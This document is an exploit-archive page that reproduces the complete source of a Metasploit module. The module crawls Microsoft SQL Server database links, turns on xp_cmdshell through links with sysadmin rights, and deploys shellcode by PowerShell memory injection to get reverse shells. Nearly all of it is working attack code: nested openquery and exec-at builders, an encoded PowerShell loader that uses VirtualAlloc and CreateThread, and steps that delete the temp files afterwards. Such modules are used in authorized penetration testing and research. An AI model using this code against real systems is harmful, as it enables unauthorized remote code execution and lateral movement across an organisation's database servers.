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Microsoft SQL Server Database Link Crawling Command Execution

Microsoft SQL Server Database Link Crawling Command Execution
Posted Dec 24, 2012
Site metasploit.com

This Metasploit module can be used to crawl MS SQL Server database links and deploy Metasploit payloads through links configured with sysadmin privileges using a valid SQL Server Login. If you are attempting to obtain multiple reverse shells using this module we recommend setting the "DisablePayloadHandler" advanced option to "true", and setting up a multi/handler to run in the background as a job to support multiple incoming shells. If you are interested in deploying payloads to specific servers this module also supports that functionality via the "DEPLOYLIST" option. Currently, the module is capable of delivering payloads to both 32bit and 64bit Windows systems via powershell memory injection methods based on Matthew Graeber's work. As a result, the target server must have powershell installed. By default, all of the crawl information is saved to a CSV formatted log file and MSF loot so that the tool can also be used for auditing without deploying payloads.

tags | exploit, shell
systems | windows
MD5 | 48dc740ea0ae88893408893df8301f14

Microsoft SQL Server Database Link Crawling Command Execution

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'
require 'msf/core/exploit/mssql_commands'

class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::Remote::MSSQL
include Msf::Auxiliary::Report
include Msf::Exploit::CmdStagerVBS

def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft SQL Server Database Link Crawling Command Execution',
'Description' => %q{
This module can be used to crawl MS SQL Server database links and deploy
Metasploit payloads through links configured with sysadmin privileges using a
valid SQL Server Login.

If you are attempting to obtain multiple reverse shells using this module we
recommend setting the "DisablePayloadHandler" advanced option to "true", and setting
up a multi/handler to run in the background as a job to support multiple incoming
shells.

If you are interested in deploying payloads to spefic servers this module also
supports that functionality via the "DEPLOYLIST" option.

Currently, the module is capable of delivering payloads to both 32bit and 64bit
Windows systems via powershell memory injection methods based on Matthew Graeber's
work. As a result, the target server must have powershell installed. By default,
all of the crawl information is saved to a CSV formatted log file and MSF loot so
that the tool can also be used for auditing without deploying payloads.
},
'Author' =>
[
'Antti Rantasaari <antti.rantasaari[at]netspi.com>',
'Scott Sutherland "nullbind" <scott.sutherland[at]netspi.com>'
],
'Platform' => [ 'win' ],
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'http://www.slideshare.net/nullbind/sql-server-exploitation-escalation-pilfering-appsec-usa-2012'],
['URL','http://msdn.microsoft.com/en-us/library/ms188279.aspx'],
['URL','http://www.exploit-monday.com/2011_10_16_archive.html']
],
'Platform' => 'win',
'DisclosureDate' => 'Jan 1 2000',
'Targets' =>
[
[ 'Automatic', { } ],
],
'DefaultTarget' => 0
))

register_options(
[
OptBool.new('DEPLOY', [false, 'Deploy payload via the sysadmin links', 'false']),
OptString.new('DEPLOYLIST', [false,'Comma seperated list of systems to deploy to']),
OptString.new('PASSWORD', [true, 'The password for the specified username'])
], self.class)

register_advanced_options(
[
OptString.new('POWERSHELL_PATH', [true, 'Path to powershell.exe', "C:\\windows\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe"])
], self.class)
end

def exploit
# Display start time
time1 = Time.new
print_status("-------------------------------------------------")
print_status("Start time : #{time1.inspect}")
print_status("-------------------------------------------------")

# Check if credentials are correct
print_status("Attempting to connect to SQL Server at #{rhost}:#{rport}...")

if (not mssql_login_datastore)
print_error("Invalid SQL Server credentials")
print_status("-------------------------------------------------")
return
end

# Define master array to keep track of enumerated database information
masterList = Array.new
masterList[0] = Hash.new # Define new hash
masterList[0]["name"] = "" # Name of the current database server
masterList[0]["db_link"] = "" # Name of the linked database server
masterList[0]["db_user"] = "" # User configured on the database server link
masterList[0]["db_sysadmin"] = "" # Specifies if the database user configured for the link has sysadmin privileges
masterList[0]["db_version"] = "" # Database version of the linked database server
masterList[0]["db_os"] = "" # OS of the linked database server
masterList[0]["path"] = [[]] # Link path used during crawl - all possible link paths stored
masterList[0]["done"] = 0 # Used to determine if linked need to be crawled

shelled = Array.new # keeping track of shelled systems - multiple incoming sa links could result in multiple shells on one system

# Setup query for gathering information from database servers
versionQuery = "select @@servername,system_user,is_srvrolemember('sysadmin'),(REPLACE(REPLACE(REPLACE\
(ltrim((select REPLACE((Left(@@Version,CHARINDEX('-',@@version)-1)),'Microsoft','')+ rtrim(CONVERT\
(char(30), SERVERPROPERTY('Edition'))) +' '+ RTRIM(CONVERT(char(20), SERVERPROPERTY('ProductLevel')))+\
CHAR(10))), CHAR(10), ''), CHAR(13), ''), CHAR(9), '')) as version, RIGHT(@@version, LEN(@@version)- 3 \
-charindex (' ON ',@@VERSION)) as osver,is_srvrolemember('sysadmin'),(select count(srvname) from \
master..sysservers where dataaccess=1 and srvname!=@@servername and srvproduct = 'SQL Server')as linkcount"

# Create loot table to store configuration information from crawled database server links
linked_server_table = Rex::Ui::Text::Table.new(
'Header' => 'Linked Server Table',
'Ident' => 1,
'Columns' => ['db_server', 'db_version', 'db_os', 'link_server', 'link_user', 'link_privilege', 'link_version', 'link_os','link_state']
)
save_loot = ""

# Start crawling through linked database servers
while masterList.any? {|f| f["done"] == 0}
# Find the first DB server that has not been crawled (not marked as done)
server = masterList.detect {|f| f["done"] == 0}

# Get configuration information from the database server
sql = query_builder(server["path"].first,"",0,versionQuery)
result = mssql_query(sql, false) if mssql_login_datastore
parse_results = result[:rows]
parse_results.each { |s|
server["name"] = s[0]
server["db_user"] = s[1]
server["db_sysadmin"] = s[5]
server["db_version"] = s[3]
server["db_os"] = s[4]
server["numlinks"] = s[6]
}
if masterList.length == 1
print_good("Successfully connected to #{server["name"]}")
if datastore['VERBOSE'] == true
show_configs(server["name"],parse_results,true)
elsif server["db_sysadmin"] == 1
print_good("Sysadmin on #{server["name"]}")
end
end
if server["db_sysadmin"] == 1
enable_xp_cmdshell(server["path"].first,server["name"],shelled)
end

# If links were found, determine if they can be connected to and add to crawl list
if (server["numlinks"] > 0)
# Enable loot
save_loot = "yes"

# Select a list of the linked database servers that exist on the current database server
print_status("")
print_status("-------------------------------------------------")
print_status("Crawling links on #{server["name"]}...")
# Display number db server links
print_status("Links found: #{server["numlinks"]}")
print_status("-------------------------------------------------")
execute = "select srvname from master..sysservers where dataaccess=1 and srvname!=@@servername and srvproduct = 'SQL Server'"
sql = query_builder(server["path"].first,"",0,execute)
result = mssql_query(sql, false) if mssql_login_datastore

result[:rows].each {|name|
name.each {|name|

# Check if link works and if sysadmin permissions - temp array to save orig server[path]
temppath = Array.new
temppath = server["path"].first.dup
temppath << name

# Get configuration information from the linked server
sql = query_builder(temppath,"",0,versionQuery)
result = mssql_query(sql, false) if mssql_login_datastore

# Add newly aquired db servers to the masterlist, but don't add them if the link is broken or already exists
if result[:errors].empty? and result[:rows] != nil then
# Assign db query results to variables for hash
parse_results = result[:rows]

# Add link server information to loot
link_status = 'up'
write_to_report(name,server,parse_results,linked_server_table,link_status)

# Display link server information in verbose mode
if datastore['VERBOSE'] == true
show_configs(name,parse_results)
print_status(" o Link path: #{masterList.first["name"]} -> #{temppath.join(" -> ")}")
else
if parse_results[0][5] == 1
print_good("Link path: #{masterList.first["name"]} -> #{temppath.join(" -> ")} (Sysadmin!)")
else
print_status("Link path: #{masterList.first["name"]} -> #{temppath.join(" -> ")}")
end
end

# Add link to masterlist hash
unless masterList.any? {|f| f["name"] == name}
masterList << add_host(name,server["path"].first,parse_results)
else
(0..masterList.length-1).each do |x|
if masterList[x]["name"] == name
masterList[x]["path"] << server["path"].first.dup
masterList[x]["path"].last << name
unless shelled.include?(name)
if parse_results[0][2]==1
enable_xp_cmdshell(masterList[x]["path"].last.dup,name,shelled)
end
end
else
break
end
end
end
else
# Add to report
linked_server_table << [server["name"],server["db_version"],server["db_os"],name,'NA','NA','NA','NA','Connection Failed']

# Display status to user
if datastore['VERBOSE'] == true
print_status(" ")
print_error("Linked Server: #{name} ")
print_error(" o Link Path: #{masterList.first["name"]} -> #{temppath.join(" -> ")} - Connection Failed")
print_status(" Failure could be due to:")
print_status(" - A dead server")
print_status(" - Bad credentials")
print_status(" - Nested open queries through SQL 2000")
else
print_error("Link Path: #{masterList.first["name"]} -> #{temppath.join(" -> ")} - Connection Failed")
end
end
}
}
end
# Set server to "crawled"
server["done"]=1
end

print_status("-------------------------------------------------")

# Setup table for loot
this_service = nil
if framework.db and framework.db.active
this_service = report_service(
:host => rhost,
:port => rport,
:name => 'mssql',
:proto => 'tcp'
)
end

# Display end time
time1 = Time.new
print_status("End time : #{time1.inspect}")
print_status("-------------------------------------------------")

# Write log to loot / file
if (save_loot=="yes")
filename= "#{datastore['RHOST']}-#{datastore['RPORT']}_linked_servers.csv"
path = store_loot("crawled_links", "text/plain", datastore['RHOST'], linked_server_table.to_csv, filename, "Linked servers",this_service)
print_status("Results have been saved to: #{path}")
end
end

# ---------------------------------------------------------------------
# Method that builds nested openquery statements using during crawling
# ---------------------------------------------------------------------
def query_builder(path,sql,ticks,execute)

# Temp used to maintain the original masterList[x]["path"]
temp = Array.new
path.each {|i| temp << i}

# Actual query - defined when the function originally called - ticks multiplied
if path.length == 0
return execute.gsub("'","'"*2**ticks)

# openquery generator
else
sql = "select * from openquery(\"" + temp.shift + "\"," + "'"*2**ticks + query_builder(temp,sql,ticks+1,execute) + "'"*2**ticks + ")"
return sql
end
end

# ---------------------------------------------------------------------
# Method that builds nested openquery statements using during crawling
# ---------------------------------------------------------------------
def query_builder_rpc(path,sql,ticks,execute)

# Temp used to maintain the original masterList[x]["path"]
temp = Array.new
path.each {|i| temp << i}

# Actual query - defined when the function originally called - ticks multiplied
if path.length == 0
return execute.gsub("'","'"*2**ticks)

# Openquery generator
else
exec_at = temp.shift
sql = "exec(" + "'"*2**ticks + query_builder_rpc(temp,sql,ticks+1,execute) + "'"*2**ticks +") at [" + exec_at + "]"
return sql
end
end

# ---------------------------------------------------------------------
# Method for adding new linked database servers to the crawl list
# ---------------------------------------------------------------------
def add_host(name,path,parse_results)

# Used to add new servers to masterList
server = Hash.new
server["name"] = name
temppath = Array.new
path.each {|i| temppath << i }
server["path"] = [temppath]
server["path"].first << name
server["done"] = 0
parse_results.each {|stuff|
server["db_user"] = stuff.at(1)
server["db_sysadmin"] = stuff.at(2)
server["db_version"] = stuff.at(3)
server["db_os"] = stuff.at(4)
server["numlinks"] = stuff.at(6)
}
return server
end

# ---------------------------------------------------------------------
# Method to display configuration information
# ---------------------------------------------------------------------
def show_configs(i,parse_results,entry=false)

print_status(" ")
parse_results.each {|stuff|

# Translate syadmin code
status = stuff.at(5)
if status == 1 then
dbpriv = "sysadmin"
else
dbpriv = "user"
end

# Display database link information
if entry == false
print_status("Linked Server: #{i}")
print_status(" o Link user: #{stuff.at(1)}")
print_status(" o Link privs: #{dbpriv}")
print_status(" o Link version: #{stuff.at(3)}")
print_status(" o Link OS: #{stuff.at(4).strip}")
print_status(" o Links on server: #{stuff.at(6)}")
else
print_status("Server: #{i}")
print_status(" o Server user: #{stuff.at(1)}")
print_status(" o Server privs: #{dbpriv}")
print_status(" o Server version: #{stuff.at(3)}")
print_status(" o Server OS: #{stuff.at(4).strip}")
print_status(" o Server on server: #{stuff.at(6)}")
end
}
end

# ---------------------------------------------------------------------
# Method for generating the report and loot
# ---------------------------------------------------------------------
def write_to_report(i,server,parse_results,linked_server_table,link_status)
parse_results.each {|stuff|
# Parse server information
db_link_user = stuff.at(1)
db_link_sysadmin = stuff.at(2)
db_link_version = stuff.at(3)
db_link_os = stuff.at(4)

# Add link server to the reporting array and set link_status to 'up'
linked_server_table << [server["name"],server["db_version"],server["db_os"],i,db_link_user,db_link_sysadmin,db_link_version,db_link_os,link_status]

return linked_server_table
}
end

# ---------------------------------------------------------------------
# Method for enabling xp_cmdshell
# ---------------------------------------------------------------------
def enable_xp_cmdshell(path,name,shelled)
# Enables "show advanced options" and xp_cmdshell if needed and possible
# They cannot be enabled in user transactions (i.e. via openquery)
# Only enabled if RPC_Out is enabled for linked server
# All changes are reverted after payload delivery and execution

# Check if "show advanced options" is enabled
execute = "select cast(value_in_use as int) FROM sys.configurations WHERE name = 'show advanced options'"
sql = query_builder(path,"",0,execute)
result = mssql_query(sql, false) if mssql_login_datastore
saoOrig = result[:rows].pop.pop

# Check if "xp_cmdshell" is enabled
execute = "select cast(value_in_use as int) FROM sys.configurations WHERE name = 'xp_cmdshell'"
sql = query_builder(path,"",0,execute)
result = mssql_query(sql, false) if mssql_login_datastore
xpcmdOrig = result[:rows].pop.pop

# Try blindly to enable "xp_cmdshell" on the linked server
# Note:
# This only works if rpcout is enabled for all links in the link path.
# If that is not the case it fails cleanly.
if xpcmdOrig == 0
if saoOrig == 0
# Enabling show advanced options and xp_cmdshell
execute = "sp_configure 'show advanced options',1;reconfigure"
sql = query_builder_rpc(path,"",0,execute)
result = mssql_query(sql, false) if mssql_login_datastore
end

# Enabling xp_cmdshell
print_status("\t - xp_cmdshell is not enabled on " + name + "... Trying to enable")
execute = "sp_configure 'xp_cmdshell',1;reconfigure"
sql = query_builder_rpc(path,"",0,execute)
result = mssql_query(sql, false) if mssql_login_datastore
end

# Verifying that xp_cmdshell is now enabled (could be unsuccessful due to server policies, total removal etc.)
execute = "select cast(value_in_use as int) FROM sys.configurations WHERE name = 'xp_cmdshell'"
sql = query_builder(path,"",0,execute)
result = mssql_query(sql, false) if mssql_login_datastore
xpcmdNow = result[:rows].pop.pop

if xpcmdNow == 1 or xpcmdOrig == 1
print_status("\t - Enabled xp_cmdshell on " + name) if xpcmdOrig == 0
if datastore['DEPLOY']
print_status("Ready to deploy a payload #{name}")
if datastore['DEPLOYLIST']==""
datastore['DEPLOYLIST'] = nil
end
if datastore['DEPLOYLIST'] != nil and datastore["VERBOSE"] == true
print_status("\t - Checking if #{name} is on the deploy list...")
end
if datastore['DEPLOYLIST'] != nil
deploylist = datastore['DEPLOYLIST'].upcase.split(',')
end
if datastore['DEPLOYLIST'] == nil or deploylist.include? name.upcase
if datastore['DEPLOYLIST'] != nil and datastore["VERBOSE"] == true
print_status("\t - #{name} is on the deploy list.")
end
unless shelled.include?(name)
powershell_upload_exec(path)
shelled << name
else
print_status("Payload already deployed on #{name}")
end
elsif datastore['DEPLOYLIST'] != nil and datastore["VERBOSE"] == true
print_status("\t - #{name} is not on the deploy list")
end
end
else
print_error("\t - Unable to enable xp_cmdshell on " + name)
end

# Revert soa and xp_cmdshell to original state
if xpcmdOrig == 0 and xpcmdNow == 1
print_status("\t - Disabling xp_cmdshell on " + name)
execute = "sp_configure 'xp_cmdshell',0;reconfigure"
sql = query_builder_rpc(path,"",0,execute)
result = mssql_query(sql, false) if mssql_login_datastore
end
if saoOrig == 0 and xpcmdNow == 1
execute = "sp_configure 'show advanced options',0;reconfigure"
sql = query_builder_rpc(path,"",0,execute)
result = mssql_query(sql, false) if mssql_login_datastore
end
end

# ----------------------------------------------------------------------
# Method that delivers shellcode payload via powershell thread injection
# ----------------------------------------------------------------------
def powershell_upload_exec(path)

# Create powershell script that will inject shell code from the selected payload
myscript ="$code = @\"
[DllImport(\"kernel32.dll\")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport(\"kernel32.dll\")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport(\"msvcrt.dll\")]
public static extern IntPtr memset(IntPtr dest, uint src, uint count);
\"@
$winFunc = Add-Type -memberDefinition $code -Name \"Win32\" -namespace Win32Functions -passthru
[Byte[]]$sc =#{Rex::Text.to_hex(payload.encoded).gsub('\\',',0').sub(',','')}
$size = 0x1000
if ($sc.Length -gt 0x1000) {$size = $sc.Length}
$x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40)
for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)}
$winFunc::CreateThread(0,0,$x,0,0,0)"

# Unicode encode powershell script
mytext_uni = Rex::Text.to_unicode(myscript)

# Base64 encode unicode
mytext_64 = Rex::Text.encode_base64(mytext_uni)

# Generate random file names
rand_filename = rand_text_alpha(8)
var_duplicates = rand_text_alpha(8)

# Write base64 encoded powershell payload to temp file
# This is written 2500 characters at a time due to xp_cmdshell ruby function limitations
# Also, line number tracking was added so that duplication lines caused by nested linked
# queries could be found and removed.
print_status("Deploying payload...")
linenum = 0
mytext_64.scan(/.{1,2500}/).each {|part|
execute = "select 1; EXEC master..xp_cmdshell 'powershell -C \"Write \"--#{linenum}--#{part}\" >> %TEMP%\\#{rand_filename}\"'"
sql = query_builder(path,"",0,execute)
result = mssql_query(sql, false) if mssql_login_datastore
linenum = linenum+1
}

# Remove duplicate lines from temp file and write to new file
execute = "select 1;exec master..xp_cmdshell 'powershell -C \"gc %TEMP%\\#{rand_filename}| get-unique > %TEMP%\\#{var_duplicates}\"'"
sql = query_builder(path,"",0,execute)
result = mssql_query(sql, false) if mssql_login_datastore

# Remove tracking tags from lines
execute = "select 1;exec master..xp_cmdshell 'powershell -C \"gc %TEMP%\\#{var_duplicates} | Foreach-Object {$_ -replace \\\"--.*--\\\",\\\"\\\"} | Set-Content %TEMP%\\#{rand_filename}\"'"
sql = query_builder(path,"",0,execute)
result = mssql_query(sql, false) if mssql_login_datastore

# Used base64 encoded powershell command so that we could use -noexit and avoid parsing errors
# If running on 64bit system, 32bit powershell called from syswow64
powershell_cmd = "$temppath=(gci env:temp).value;$dacode=(gc $temppath\\#{rand_filename}) -join '';if((gci env:processor_identifier).value -like\
'*64*'){$psbits=\"#{datastore['POWERSHELL_PATH']} -noexit -noprofile -encodedCommand $dacode\"} else {$psbits=\"powershell.exe\
-noexit -noprofile -encodedCommand $dacode\"};iex $psbits"
powershell_uni = Rex::Text.to_unicode(powershell_cmd)
powershell_64 = Rex::Text.encode_base64(powershell_uni)

# Setup query
execute = "select 1; EXEC master..xp_cmdshell 'powershell -EncodedCommand #{powershell_64}'"
sql = query_builder(path,"",0,execute)

# Execute the playload
print_status("Executing payload...")
result = mssql_query(sql, false) if mssql_login_datastore
# Remove payload data from the target server
execute = "select 1; EXEC master..xp_cmdshell 'powershell -C \"Remove-Item %TEMP%\\#{rand_filename}\";powershell -C \"Remove-Item %TEMP%\\#{var_duplicates}\"'"
sql = query_builder(path,"",0,execute)
result = mssql_query(sql,false)
end
end

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